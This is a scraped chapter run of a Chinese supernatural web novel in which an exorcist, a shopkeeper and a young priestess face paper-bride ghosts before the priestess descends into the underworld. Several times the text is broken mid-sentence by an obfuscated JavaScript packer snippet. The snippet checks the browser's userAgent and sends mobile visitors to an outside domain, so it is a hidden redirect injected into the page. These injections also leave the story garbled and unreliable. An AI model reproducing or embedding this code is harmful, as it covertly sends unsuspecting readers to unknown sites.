店老板钟诗琼早就撑不住去二楼睡觉了,而宫玄烛和裴暮雪两人就这么守着一盏灯坐在一楼,各揣心腹事,相对无言,两个人谁都没理会那个被风刮倒的纸新娘。 窗外,风声呜呜咽咽,仿佛深宫幽怨的女子在哭泣,凄凉而诡异。 钟诗琼拿被子蒙上头,辗转反侧无法入睡,她反复告诉自己,裴暮雪就在楼下守着,出不了什么事,至于那位皇城的少祭司,看着也不像坏人,应该是友非敌。 本想安心睡去,可是心跳越来越剧烈,惊惧、恐慌,黑暗中仿佛有无数双手在慢慢伸向她…… 恍然,钟诗琼感觉自己动不了了,身体像是被死死粘在床上,全身的筋骨仿佛断掉了一般,她连手都抬不起来,胸口压着一团重物,她喘不过气来,也喊不出声音。 她感觉有什么东西在靠近自己,揪住了她的头发,死死拉扯着,拉得她头皮生疼,她想喊裴暮雪,却怎么也喊不出声,紧接着,她感觉有一双冰凉的手攥住了自己的脚踝,她拼命蹬腿也甩不掉那双铁箍一般的手,脚趾上忽然传来钻心蚀骨的疼痛。不知为何,钟诗琼虽然睁不开眼睛,却知道那是有人在拿铁钉子往自己脚趾上钉着,一根又一根,恶鬼拿着榔头,狠狠将铁钉钉入她每一根脚趾,那种疼痛和恐惧让钟诗琼窒息又绝望,内心拼命嘶喊着救命! 钟诗琼玩命地挣扎着,恍然惊醒过来!长长舒了一口气,屋子里一片黑暗,她恍恍惚惚下床,打算点燃蜡烛,就在这时,她居然看见自己床上坐着一个小孩! 小孩穿着破破烂烂的白色衣服,在黑暗中明晃晃的刺着她的眼睛,白衣上斑斑点点都是黑色的血迹,小孩面色惨白,瞪着黑洞洞、冷冰冰的眼睛看着她,樱桃小嘴渐渐裂开,无声地笑着,越笑嘴巴咧地越大,最后嘴角撕裂到了耳后根,鲜血一道道顺着他的嘴角往下流。 钟诗琼仿佛被施了定身法,脑子里拼命想点蜡烛,可是身体就是动不了,只能看着那个小鬼转过身,屁股朝着她,小脚在空中乱蹬寻找落脚点。 蜡烛!点蜡烛!我要点蜡烛! 钟诗琼发狠得咬着嘴唇,尝到一丝血腥味终于恢复了知觉,手指僵硬地抓起火柴盒,哆哆嗦嗦拿起一根,可是那火柴根本擦不着,仿佛故意跟钟诗琼作对,每次燃起一点火星就熄灭了,钟诗琼急得满头大汗,火柴已经擦完了半盒。 那小鬼已经下来了,摇摇晃晃,一点点朝她移动过来,漆黑的眼睛、咧着血盆大口,钟诗琼的头皮都快炸了。 心脏剧烈地颤动,仿佛听见有人在喊自己的名字,那声音一会儿在屋子外面,一会儿又在她耳畔。 琼儿……琼儿…… 那个声音不像男人,也不像女人,一声声十分有耐心地呼唤她。 她记起去世的爷爷说过,夜里无论是谁喊你的名字都不要回答,一开口就相当于答应了那些东西的“邀请”。 别喊了,别喊了,住口,住口啊! 钟诗琼歇斯底里地咆哮着,灵魂仿佛都要被撕碎了一般,脑子里充斥着各种画面和声音,全身每一个毛孔都在颤抖。 忽然,她感觉压在身上的重物消失了,不再那么窒息,她贪婪地呼吸着新鲜空气,浑身被冷汗打湿,中衣黏黏腻腻粘在皮肤上,这才意识到刚才又做噩梦,在噩梦里她总是在拼命地逃跑、努力地求生,她不禁有些后怕,如果在梦里死了,现实中的她是否会一起死去? 朦朦胧胧睁开眼,还是熟悉的房间,青色的床帐安安静静地垂落,钟诗琼翻了个身面向窗户,然后她的呼吸就停滞了,月光透过窗户洒在地板上,一切虽处在黑暗中,但能看清家具的剪影。 她的梳妆台前,坐了个人,身量纤细高挑,从头到脚都是红色,那红色仿佛一滩血,又仿佛黑夜中明明灭灭的炭火。 等钟诗琼看清细节时,她一颗心几乎跳出嗓子眼,那是,她亲手扎的纸新娘! 钟诗琼浑身僵住,不知道自己该怎么办,若是睁眼看着,那纸新娘回头了怎么办?若是闭眼,她下一刻走到自己床头盯着自己看怎么办? 我是不是还在做梦?钟诗琼掐了自己一下,很疼,可是没用,以往在梦里她也会被痛觉欺骗,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489937|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为自己醒来了,其实只是梦中梦。 钟诗琼看着红衣新娘动了一下,惊恐之下闭上眼睛装睡,然后她就感觉有一道冷冰冰的视线悬在脑袋上,如同一把随时要落下来的锋利毒刃,冰冷的风一阵阵吹在她脸上,钟诗琼勉力控制住自己在被子下瑟瑟发抖的身体,尽量装出睡熟的样子。 心里却在尖叫:裴道长救命啊! 钟诗琼感觉自己现在一睁眼就能跟纸新娘对视上,那她一定会当场灵魂出窍。时间一分一秒的过去,简直是渡秒如年。 …… 宫玄烛蓦然回首,发现地上的东西居然没了,微微一笑提醒对面:“裴道长,倒地上那个纸新娘不见了。” 裴暮雪慌了一下,迅速睁眼,追问道:“什么时候?” 宫玄烛:“就在你刚才闭目养神的时候。” “琼儿!” 提着鬼头刀火速上二楼,一脚踹开门就看见床上并排躺着两个人,里面是面容扭曲双目紧闭的钟诗琼,外面那个是一身红色嫁衣,盖着红盖头的纸新娘。 而这时,红衣新娘飘然起身,以一种奇怪的方式缓缓朝裴暮雪靠近,钟诗琼也急忙坐了起来,除了吓得脸色惨白似乎没有大碍。 裴暮雪暗自猜测,莫非是因为钟诗琼八字纯阴,这女鬼想要夺舍不成,他愠怒道:“天堂有路你不走,再敢滋扰凡人休怪道爷不客气了!” 红衣新娘却紧紧盯着他,似乎在等什么,还往这边挪了两步,气得裴暮雪怒火三千丈:“有胆量!” 噌——背后宽刃鬼头刀哗然出鞘,隐隐有龙吟之声,裹挟飞沙走石直奔女鬼面门而去。 “等等!” 床上的钟诗琼忽然制止道:“道长!还是先弄清楚再说吧。” “她又不会说话,鬼知道她想干什么。若是我,宁可错杀绝不放过。”宫玄烛提着魂灯慢悠悠走了上来,未语先笑,一副看热闹的心态。 女鬼却直奔裴暮雪而去,裴暮雪被一再挑衅岂有罢休之理,女鬼这次却停滞了一下,转身退去,如同一只翩翩飞走的蝴蝶,倏忽不见了身影。 裴暮雪盯着女鬼消失的窗户,钟诗琼忽然嘴唇颤抖,瞳孔骤然缩小,惊慌失措道:“道长你背后!” 裴暮雪眉毛拧了拧:“这种时候开什么玩笑?” 钟诗琼急得差点哭出来:“真的!你快看啊!” 裴暮雪一回头却什么也没看见,气得要死:“钟诗琼!” 钟诗琼委屈极了,她刚才明明看到裴暮雪身后站着一个人影,面对对方的指责却有口莫辨,可怜兮兮地抱着头:“不信拉倒!刚才你身后真的有个白衣服的……漂亮姐姐……” 裴暮雪舔舔后槽牙,简直要被她气笑了:“真有邪物我怎么可能感觉不到……” 忽然间背后一凉,他猛得回头,这次真看到了,这个可比刚才的血衣新娘更邪乎,一身绣着海棠睡莲的对襟龙凤褂,眼睛上蒙着一条白菱纱,冷艳不可方物,似乎正在凉嗖嗖地“看着”他。 5. 红白双煞 Stop! 裴暮雪惊了一下又恢复镇定,冷笑道:“有意思,身为冥族却不带阴气,莫非是个活死人?” 他走一步那新娘就退一步,不由勃然大怒,刚才惊起的一点冷汗,全化作被三番两次戏弄的怒火:“我还不信追不上你!” 裴暮雪死死追着那白衣新娘,从红线坊二楼窗户里一跃而下追到了大街上,街头空空荡荡,连片落叶也没有,皎洁的月光洒在地面上,前方是幽幽弥漫的蓝雾,雾气中是那个如仙似鬼的纸新娘,她脚步轻盈,仿佛一只诡异而梦幻的蝴蝶。 在他的手指快要触碰到新娘的衣角时一团寒雾散开,一个身着白衣,俊美无俦的男子出现了,那个白衣新娘就在他身边,男子生得异常俊雅,剑眉星目,一身白衣如同谪仙,却带这一股沉郁的死气,衣摆袖口上是或绽放或羞拢的彼岸花,微微一笑很好说话的样子:“若我妻有得罪之处,我替她赔个不是,这位道长得饶人处且饶人吧。” 裴暮雪感受到了那男人身上积压百年之久的死气,心里清楚这位不是普通鬼魅,鬼妻么? 裴暮雪冷冷一笑,与那位对视:“怪不得此女能肆意穿行阴阳两界冲撞凡人,原来身后有大人物撑腰,失敬失敬。” 白衣男子笑道:“若只是冲撞道长大人不记小人过吧,我妻天性纯良,我相信她不会做什么坏事的。” 裴暮雪道:“希望阁下所言非虚,万一她并非表里如一,那么下次巧遇裴某大概不会再怜香惜玉、一笑了之了。” 那两人渐行渐远,依稀听到那男子温声细语道:“你没有给我添麻烦,下次遇到这种臭道士就绕着走。” 裴暮雪:…… 又听他道:“累不累啊?要出去玩就告诉我一声,人界很危险的,别让我担心好不好?” 裴暮雪咬牙。 怎么你们还要组团来? 不过这二人白衣飘飘,行走在夜色之中,男子风流倜傥,女子冷艳无双,当真是凄美至极,诡谲至极。 裴暮雪追着白衣鬼新娘出去,宫玄烛估摸着时间差不多了,提着魂灯正要往外面走,一个声音忽然喊住了她,怯生生道:“我能跟着你吗?裴道长走了,我一个人害怕……” 宫玄烛微微一笑,眼眸弯弯,仿佛一只小狐狸:“好啊,多谢你收留我大半夜,走吧,善良的小姐姐,我带你去找你的裴道长。” 魂灯在黑夜中发出幽幽蓝光,映照着提灯少女身上的黑纱折射出蓝紫色的迷蒙光辉,她身材纤细,似乎比自己还要小一点。 钟诗琼紧紧跟在宫玄烛身后,刚想说点什么打破尴尬的气氛,恍然发觉长长的街道尽头,牌坊底下站着一个人,月光之下,那姑娘一身新娘打扮有熟悉的气息,红衣花团锦簇,头上金玉堆砌,立在阴风中红袖招展。 宫玄烛看着那个红嫁衣女鬼有有些脑袋疼,到底是为什么想不开在新婚之夜死去,这么大的怨气要是撒我身上,我不得连骨头渣子都不剩? 她强作镇定:“这是不是之前你房间里那个……” 钟诗琼紧张地咽咽口水,磕磕绊绊道:“裴道长不是追着她去了吗……怎么又回来了?” “跑!” 宫玄烛当机立断拉着钟诗琼就往回跑,对方实力、目的不明还是不要硬碰硬。 跑是跑不了了,红衣女鬼瞬间移动到了她们面前,这下看得更真切了,女鬼的脸白到发青,涂着腥红的口脂,金丝喜字的红盖头影影绰绰挡着上半张脸。 钟诗琼大叫:“裴道长!” 宫玄烛觉得自己被看扁了,横剑在前:“你嚷什么?区区女鬼而已,本祭司能收拾她!” 然后她就眼睁睁看着自己的剑被女鬼徒手拧成了麻花,宫玄烛冷汗就下来了。剑被女鬼死死攥住,感觉一股拉力从另一头袭来,宫玄烛连忙甩开手,眼看来不及了,惯性之下身体就向着女鬼撞去。 “啊!”钟诗琼吓得尖叫一声,那惨叫声传遍整个小镇上空。 危急时刻紧要关头一袭白衣身影挡在了宫玄烛前面,隔开了她和红衣女鬼的亲密接触,宫玄烛往白衣新娘身上一撞,鼻子差点撞歪了,疼得她直飙眼泪。 是真硬啊! 白衣新娘冷森森地挡在二人前面,不知意欲何为,吓得两个活人大气也不敢喘。 钟诗琼绝望地闭上了眼睛:完了,今天定要折在两个女鬼手中了。 红衣女鬼扬起利爪直扑过来,白衣新娘在电光火石之间钳住了她的手臂,两鬼居然撕扭在了一起,红衣如火白衣如雪,斗得天昏地暗日月无光。 钟诗琼都快哭了:“她们不会是在争抢猎物吧?” 宫玄烛反倒镇定下来了,有变数好啊,有变数就有逃生的机会,三十六计走为上策。 宫玄烛朝钟诗琼使个眼色,两个人偷偷向后挪去,红衣鬼不知何时竟然追了上来,白森森的鬼爪如同嗜血夺命的钩钳狠狠袭向钟诗琼后脑勺,这一下万一抓上钟诗琼脑浆都得流出来,身后一声闷响,有什么东西撞在了钟诗琼身后。 她回头不由倒吸一口冷气,那个白衣新娘居然就在自己身后,肩头的衣服被抓得粉碎,她不会流血,伤口处只能看见被撕碎的粉红皮肉和冷森白骨。 她应该也是感觉不到疼,根本没有在意那个伤口,白衣一闪继续扑向了红衣女鬼,可是移动的速度明显比之前慢了不少。 这二人继续逃命,躲进了一座老旧的城隍庙里,里面灯火昏暗,几根蜡烛半着不着,映亮了上方红脸判官的下半张脸,从这个角度看去,怒发冲冠、紧咬后槽牙的判官仿佛在俯视她们。 一阵阴风吹过,半死不活的蜡烛彻底熄灭,庙里陷入一片黑暗,宫玄烛站在窗户前,拿指尖戳破窗户纸,从一个小圆洞里观察着街道上的情况。 忽然感觉身后有轻微的声响,仿佛是重物被移动的声音,沙沙,沙沙,宫玄烛忍不住道:“钟老板,你在干什么?别乱动这里东西。” 远远传来钟诗琼的声音,那是带着哭腔的颤音,似乎已经濒临崩溃了:“少祭司,你到底在哪里啊?” 宫玄烛灌入灵力点燃手中魂灯,猛地一转身,发现似乎没什么异常,钟诗琼就在远处的功德箱前。 “来我这里。” 宫玄烛淡淡说了一声,目光继续在周围扫过,功德箱、香案、还有那些塑像,等等!地上的印子不对! 宫玄烛不经意发现,那些凶神恶煞的鬼判雕塑居然挪动地方了,地上明显有半圈印子,如果它们安安静静待在原地,这个印子会被完全遮盖住。 所以刚才黑暗中,重物移动的声音,原来是它们在走路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489938|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 七月十五的夜晚,还真是热闹,不过更热闹的恐怕还在后头。 宫玄烛假装不在意,拉住了钟诗琼的手继续看外面的动静,那两个女鬼没有了踪影,但她也不敢贸然出去,而身后又是沙沙的响动,宫玄烛拿余光偷瞄一眼,她侧后方那个蓝脸红胡子的判官雕塑立刻不动了。 宫玄烛咬咬牙关,外面有女鬼,里面有诡异的雕塑,到底该往哪里跑,好像怎么都是个死路一条。 钟诗琼似乎也感受到了背后危险的靠近,鬼判官的雕塑逐渐聚成了一个半包围圈,仿佛不断收紧的口袋。 宫玄烛立刻道:“钟老板,你盯着后面,我盯前面。” “好。”钟诗琼惨白着脸,强忍着头皮炸裂的感觉回过身去,看着四尊丈二金刚似的雕塑,它们似乎在微微弯腰凝视着她,脸上的表情不像是威严,仿佛是一种残暴,然后钟诗琼就看着那四尊雕像缓缓往她们这边倾斜。 不好!这是打算砸死她们吗? 钟诗琼迅速拉着宫玄烛往城隍庙外面跑,迎面就撞上了一个纸新娘,吓得两人魂飞天外,这才注意到,这个新娘是白衣服那位。 她一出现,身后的压迫感居然消失不见了,白衣新娘旁若无人地进了城隍庙,宫玄烛再一转身便看见鬼判雕塑各归各位了,但彼此站的位置似乎乱了,宫玄烛明明记得进庙前,红脸、黑脸的判官在左上左下,蓝脸、青脸的在右上右下,这下全乱套了……就仿佛夫子突然杀进学堂慌乱之下坐错座位的小学童。 钟诗琼见了白衣新娘目露喜色:“她居然摆脱那个女鬼了,真聪明!” 可是瞥见那露出血肉白骨的可怕伤口心中又惴惴不安起来,上前一步道:“这位姐姐,你这伤……” 白衣新娘退至门口,似乎在透过门缝盯着外面,可那双眼睛分明蒙着白绫。 阴风阵阵,庙里纱幔飘扬。 咚——有什么重物落在了地上,宫玄烛只看到了一角腥红的纸衣,紧接着一股巨大的推力袭来,宫玄烛和钟诗琼被双双从门里震飞了出去,庙门哐当一声关了个严丝合缝。 接着城隍庙里乒乒乓乓一阵桌椅器皿被砸烂的声音,月色映照的窗纸上能看到两个小小的皮影一样的小人儿在飞来飞去,时而招呼逗引时而钳斗一处,不多时其中一个皮影跌下了窗台,另一个带着胜利的喜悦举起了两片如蝶翼般宽大的袖子施施然落下帷幕。 与此同时砰的一声,伴随着庙门被撞开的声音,白衣新娘如同被弹出的石子一样飞了出来,这副模样若是摔在地上可要散架了,二人正想冲上前去截住,冷不防原地冷雾腾起,如同地狱之门被打开了一半,地面不知何时出现了一条规则的裂缝,缝隙越来越大,最后变成了一方水池大小的矩形黑洞,漆黑的楼梯一直通往地底极其幽深阴暗之处,冷冷白雾泛着蚀骨寒气笼罩着那个神秘的方形黑洞,噔噔噔噔,地下居然传出了急促的脚步声,好像有人从下面飞奔上来了,钟诗琼瘫倒在地,动都动不了。 就在她眨眼之际,白衣新娘在半空被一人接住了,可那人并不是宫玄烛,而是一个从地下那黑色楼梯里跑上来的人,暂时也不知道是不是人。 那人同样一声白衣,背对着她看不清脸,但能感觉到周围的温度似乎都下降了,地面渐渐染霜。 6. 奇奇怪怪的大佬乱入 那红衣女鬼见事不妙掉头就跑,岂能如愿,那白衣男子怀抱着白衣新娘温柔如水,另一手却抬袖射出几道冰刺钉住红衣女鬼,局势彻底反转,之前是红衣鬼压着白衣新娘打,现在是这白衣男子单方面虐打这个红衣女鬼。 白衣新娘只是两条胳膊被利爪抓出了狰狞的伤痕,可是红衣女鬼的四肢都快被白衣男子扭成麻花了,若她能发出人声,那叫声绝对惨绝人寰。 “如今已经百倍奉还,九殿可解气了?” 冷雾聚拢,平川之地又施施然出现一人,带着阴森的血色面具,血盆大口里支出四颗青黑色獠牙,仿佛梼杌怪兽。 白衣男子住手了,冷声道:“管好你的人。” 面具男阴阳怪气地笑了笑:“若非你这阴仆非要多管闲事,我家樱柠又怎么会出手呢?” “她不是我的仆人……” “哦,忘了忘了,对不住,九殿君与我不同,拿这傀儡娃娃当妻子了,哈哈哈哈,当真是情深意重……” 白衣男子没理他,径直抱着新娘往地下走去。 面具男却不再笑了,侧目冷声道:“废物,还不滚回去!” 红衣女鬼战战兢兢从地上爬了起来。 她忽然被面具男从头发上提了起来:“若非看在你还用的份上我早把你扔进油锅熬成美人油了。” 红衣女鬼似乎在瑟瑟发抖。 钟诗琼正在愣神,那面具男子不知何时居然凑到了她面前:“嗯,不错,天下居然还有这种妙物,小姑娘,山水有相逢,以后我定会好好关照你的。” 钟诗琼一阵恶寒。 随着地狱之门关闭,钟诗琼才发觉宫玄烛不见了,惊吓不小,急忙喊了几声,把裴暮雪喊了过来。 裴暮雪听说了这件事,料想这宫玄烛可能已经走了,安慰了钟诗琼几句,两人便离开了。 琅嬛玄都,星辰宫。 林瑶坐在床边,轻轻拿湿手帕替床上的人擦着脸,一双寒眸染上忧色,紧握她的手源源不断输送着灵力,保住她肉身不腐。 身后脚步声响起,沉稳有力,林瑶站了起来,回身施礼:“师父。” 尹星灯看着眼前白梅素雪般的人儿,恍然想起了她十三四时的模样,那时的林瑶尚未证道,心智未开,天真烂漫,如今徒弟长大了,恭敬知礼、进退有度,人人称赞他有个好徒弟,尹星灯却莫名怅然。 “瑶儿近日脸色不太好,可是身体不适?又或是练功出了岔子?过来让为师瞧瞧。” 林瑶轻轻摇头,退开一步,让尹星灯看到陌菱如今的模样。 屋子里静悄悄,一时之间没人说话,空气似乎都凝滞住了。 尹星灯语气淡然,安慰林瑶道:“为师已经派玄烛去了,瑶儿不必担心。” “为什么?”林瑶终于忍不住问了出来。 为什么同样都是徒弟,尹星灯却不能一视同仁,待自己如珍宝,待陌菱如草芥。自己脸色差一点他就关切殷殷,陌菱如今生死攸关他却视若无睹,她实在是想不通。 陌菱与她是双生子,从小就形影不离,她也发誓会永远保护好陌菱,可是如今,在尹星灯日复一日的偏袒下,陌菱渐渐与她形同陌路。 为什么?林瑶!为什么他心里只有你!全是你! 林瑶,是不是只有你死了,师父才会多看我一眼? “为什么?”尹星灯看了林瑶许久,忽然轻笑,“这世间哪有那么多为什么?” 他一步步靠近,林瑶却也不曾后退,垂下眼眸默然无声,尹星灯距离她咫尺之遥停下了脚步,林瑶感觉到一只手缓缓压向了自己头顶,却又在咫尺间停住了,那人却轻叹道:“瑶儿,无论如何,你只需知道,为师会护你周全,这便足矣。” 林瑶越发不忿,她自小温顺乖巧,几乎没发过脾气,此时却动了真怒,“我只是想知道为什么!” 她眼眶微红,胸口微微起伏,深呼吸几次平复躁乱的心绪,语气缓和不少:“师父,菱儿也是你徒弟啊,我们从小一起长大,一起拜入师父门下,师父……您就不能疼疼菱儿吗?” 尹星灯听了这话,周身气息瞬间冰冷,负于身后的手微微颤抖起来,脸上依然挂着淡淡的笑意,这笑意却不达眼底,声音也较往常冷硬了不少。 “瑶儿,为师又不是帝王,对待自己的徒弟难道还要雨露均沾不成?” 他背过身,声音冷肃下来,不无嘲讽:“再者说了,君子无德怨自修,倘若今日你与陌菱异地而处,她可不见得会为你冒犯为师。” 林瑶见缝插针,急忙跟上尹星灯的脚步,保持着不远不近的距离:“可师父这个假设根本不成立,您从来没有试过对菱儿好一点,就算是我与她异地而处,我也是会有怨言的。” “嗯?” 尹星灯闻言霍然转身,眉梢竟带了一丝笑意,语气不无调侃:“此话当真?为师若是忽略你,瑶儿当真会有怨气?那为师还真是有些期待。” 林瑶见他转移话题,不觉愤懑,清冷眉眼逐渐染上愠色。 尹星灯却陶醉其中,林瑶自及笄过后就一副少年老成的派头,鲜少露出如此娇嗔模样,当真是令人怀念。 “跟为师来。” 尹星灯带着她到了后山,此处是一片山茶花林,花开不谢,双生树一半白雪皑皑一半红云灿烂,像极了林瑶陌菱姐妹,一人清冷似雪,一人明媚如霞。 树下有两个泥捏的小人,惟妙惟肖,只是其中一个脑袋掉了下来,重重叠叠的红白茶花花瓣下,是散落的菩提珠。 林瑶仿佛被一个焦雷劈了一般,愣了许久才缓缓蹲下身,拂开花瓣将菩提珠一粒粒捡起来。 尹星灯看着她失魂落魄的模样,有些后悔带她来此地,但长痛不如短痛,也许让她知道真相,她就能真正认清陌菱的为人了。 “瑶儿,别捡了,你还想重新串起来送给她不成?” 尹星灯缓缓半跪在她面前,伸手按住她的肩膀,瞥见她樱红的眼眶,放柔了语调:“瑶儿,你向来聪慧伶俐,莫要顽固下去了,你也该想想,陌菱可曾为你做过什么?她究竟值不值得你一再付出?” “这是我自己的事,师父不必再劝,菱儿自小就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“瑶儿……”尹星灯见她这般模样,本想伸手去安抚她,终觉不妥,黯然垂眸:“陌菱此人自私自利,城府极深,有时连为师都看不透,你莫要再执迷不悟了,为师担心终有一日她会对你下手。” 林瑶徒劳地捂住了耳朵,一副油盐不进的模样。 尹星灯也不气馁,继续道:“你若不信,那玄烛呢?为师素日也极少关照到她,她可曾有半分怨怼?瑶儿,上天生人,她的性格都是注定的,譬如你的纯真善良、玄烛的随性洒脱,你们这样的人,即使有朝一日跌落泥潭,依旧心怀慈悲,但是陌菱她不一样,她孤僻冷漠,疑神疑鬼,宁可负尽天下人也不会让自己利益受损,” “别说了!” 林瑶霍然起身,呼吸急促:“什么天命注定,我不信!” 她脸上犹挂着泪痕,声声质问:“师父,如果一个人的命运、性情都是上天注定的,那我们活着一世又是为了什么?难道只是诸天神魔眼里的戏本吗?” 尹星灯:“自然是为了各自的使命,为了六界阴阳调和,这世间,有善就有恶,有邪就有正,因果循环,报应不爽。” 林瑶赌气离去,白衣飘摇,单薄的身影逐渐消失在远处。 7. 考弊司 冥界,忘川。 曼珠沙华妖冶无边,仿佛一片血海。 宫玄烛提着魂灯默默走在妖艳的花海之中,魂灯散发出幽蓝的光芒,映着宫玄烛半张脸森冷异常。 前方渐渐听闻水声潺潺,一条黑河拦路,水面上漂浮着点点惨白昏黄的河灯,河里隐隐传出不太真切的呜咽声。 沿着河流往下游走去,看见一个路牌,血红的异体符号分别指向三个方向,宫玄烛自然也认识这鬼画符,就算不认识下面还带翻译呢,中文简体……樱都、离恨城、枉死城。 此时追溯不到陌菱的任何气息,宫玄烛一向相信自己的运气,于是拿出一枚古钱来高高抛起。 “正面去鬼都,反面去离恨城。” 刚说完古钱已经掉了下来,咕噜噜打着旋儿,最后神奇地立住了。 宫玄烛还没来得及捡起来,河里伸出的白骨爪快人一步。 “敢问这位朋友,可曾见过一个红衣的姑娘,长得跟我一样漂亮,若见过麻烦指个路。” 宫玄烛只是随口一问,没想到那河中白骨还真的不白拿,小手一转给她指了指樱都的方向。 “谢了!” 意外之喜,宫玄烛转身往鬼都的方向走去,沿着忘川河一路往下,渐渐到了人烟稠密之处,只见一座三丈高的墨玉牌楼上龙飞凤舞两个大字,看着无端令人毛骨悚然。 “你干什么的!” 宫玄烛还没踏进牌楼就听见有人喊喝一声,那嗓音很是尖细,听着十分不舒服,一回头看见三个人影,两边是一黑一白二人,脸上皆是阴气森森,宽大的孝袍翻飞,腰间系着麻绳,手里各提锁链,而此二者中间是一个十三四岁的小姑娘,披头散发,脸色惨白。 “喂!问你呢!” 白衣的又催促道,满脸的不耐烦。 宫玄烛将一块令牌拿了出来给他们看:“二位差爷,我可是良民啊,就在城里做生意。” 这两位的衣着打扮也太有标志性,黑白无常无疑。 果然那小白道:“鬼市过了午时便宵禁了,怎么还在城外转悠?进不去了吧?” 宫玄烛连声叹气:“可不是嘛,都怪我师父,偏偏派我去枉死城那边送东西,这一来一回可老远,害我进不去城了。幸亏遇上两位差爷,差爷这是刚办案回来吧?辛苦了,我这刚卖完酒回来,还剩下一壶,请两位差爷了。” 小白忙接了,打开塞子嗅嗅,喜得连连点头:“嗯,好酒好酒!”又觑一眼宫玄烛,“你这丫头还挺懂事啊,罢了罢了,今日白大哥就发发善心,带你一块儿进城。” “哎呀,多谢两位差官大哥了!” 小黑不善言辞,小白却话痨一般,宫玄烛少不得开始套话:“今天这案子难办吗?” 小白摇头晃脑:“说起来还挺棘手,就这小丫头,琅嬛槐荫镇人士,那个命啊是真不好,爹不疼妈不爱的,要怪就怪她这个生辰不好,清明节,刚吊死在纸扎铺外面的歪脖树上,这不让我俩给逮着了!” 那小姑娘却始终沉默不语,被两个无常拽着往前走,长发遮盖着脸。 宫玄烛:“这是个什么罪名?” 小白神情夸张:“那可惨咯!她这种人,上辈子作恶多端,所以这辈子才要受苦受难去赎罪,偏偏她受不了这轮回之苦,妄图用自杀来摆脱轮回,罪加一等!” 一直安安静静的小姑娘忽然剧烈挣扎起来,身上的锁链叮当作响,喉咙里发出的声音尖细刺耳。 “凭什么!我不服!我不服!” 两鬼差到底是更胜一筹,很快就制服了狂躁的小女鬼。 宫玄烛一心奔着八卦去,继续道:“那请教二位,这自杀之人,会受到什么处罚?” 小白回眸瞪了一眼女鬼,故意提高嗓门让她听清楚:“这个自杀的嘛,当然是下血涂地狱,让她体验上无数遍临死前的感觉,然后洗去记忆重入轮回,当然,她这次的命格虽然差了些,命中犯小人,含冤被屈,但谁让她不珍惜,下次的命格只会更差,保不齐就是街头乞丐、青楼妓子,再者断手断脚都是可能的。” 宫玄烛回头看去,女鬼缓缓勾起唇角,两行血迹顺着下颌滑下来落在地上,凝成了两朵艳丽的曼珠沙华…… 那是怨怒、愤懑、还是绝望……或许都有。 上辈子做过的错事,却要这辈子来承担,焉能如此?那这一世的她岂不是很可怜,明明什么也不知道,却要受尽世态炎凉。 一直不说话的小黑忽然道:“到了……” 小白光顾着跟宫玄烛唠嗑,随口问道:“到哪了?” 那边顿了半晌:“到孽、镜台、台了!” 怪不得不说话,原来只会两个字两个字往外蹦。 小白推推搡搡,带着女鬼往一道桥上走去,长桥尽头乃是一座高台,应当就是小黑口中的孽镜台。 孽镜台上可以看到自己的前世今生。宫玄烛对前尘之事也是有些好奇,刚想说服黑白二鬼差,自己能否也观光观光,隐隐就听远处有叫嚷声。 “抓细作!有人界修士混入冥界了!” 宫玄烛一惊,面上佯装淡定,小黑小白也紧张,且先不带自杀的女鬼去孽镜台,拦住一个带头冲过来的牛鬼问道:“你这牛头,不好好在枉死城当差,乱嚷嚷什么?这可是樱都,扰了七殿清净,你这牛头就该剁下来涮牛肉火锅了。” 牛鬼一双铜铃大眼泛着红光,打了个响鼻,核桃大的鼻孔里喷出两股白气:“哼!你少拿七殿吓唬俺,俺可是奉命行事……”说着一眼瞥到宫玄烛,“你是干什么的?” 宫玄烛重复前话,牛鬼摸摸后脑勺,忽然瞪起眼睛:“你是胡说八道满嘴冒泡,咱枉死城今天可没开城,你怎么进去的?” 小白也冷了脸色,不复之前的和气:“对啊,你究竟是什么人,怎么混入我们冥界的?莫非是其他地方派来的细作?” 宫玄烛支支吾吾:“这……” 牛鬼一个锁套已经栓在了宫玄烛身上,怒目圆睁,嚷嚷道:“可算逮住你了!” 说罢,拉扯着就往枉死城方向走,宫玄烛踉踉跄跄紧跟着,忍不住搭茬:“差官大哥,您这打算带我去哪里啊?” 牛鬼冷哼:“自然是去受审!咱们十殿今日有空,你可算摊上了。” 宫玄烛继续问:“请教差官大哥,意外死亡的生魂都往哪里送啊?” 牛鬼:“死丫头,你还敢探听咱冥界的事?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一路出了大牢,前方幽蓝色的光芒渐盛,原来是一座巍峨的府衙,牌匾上书三个大字——考弊司。[1] 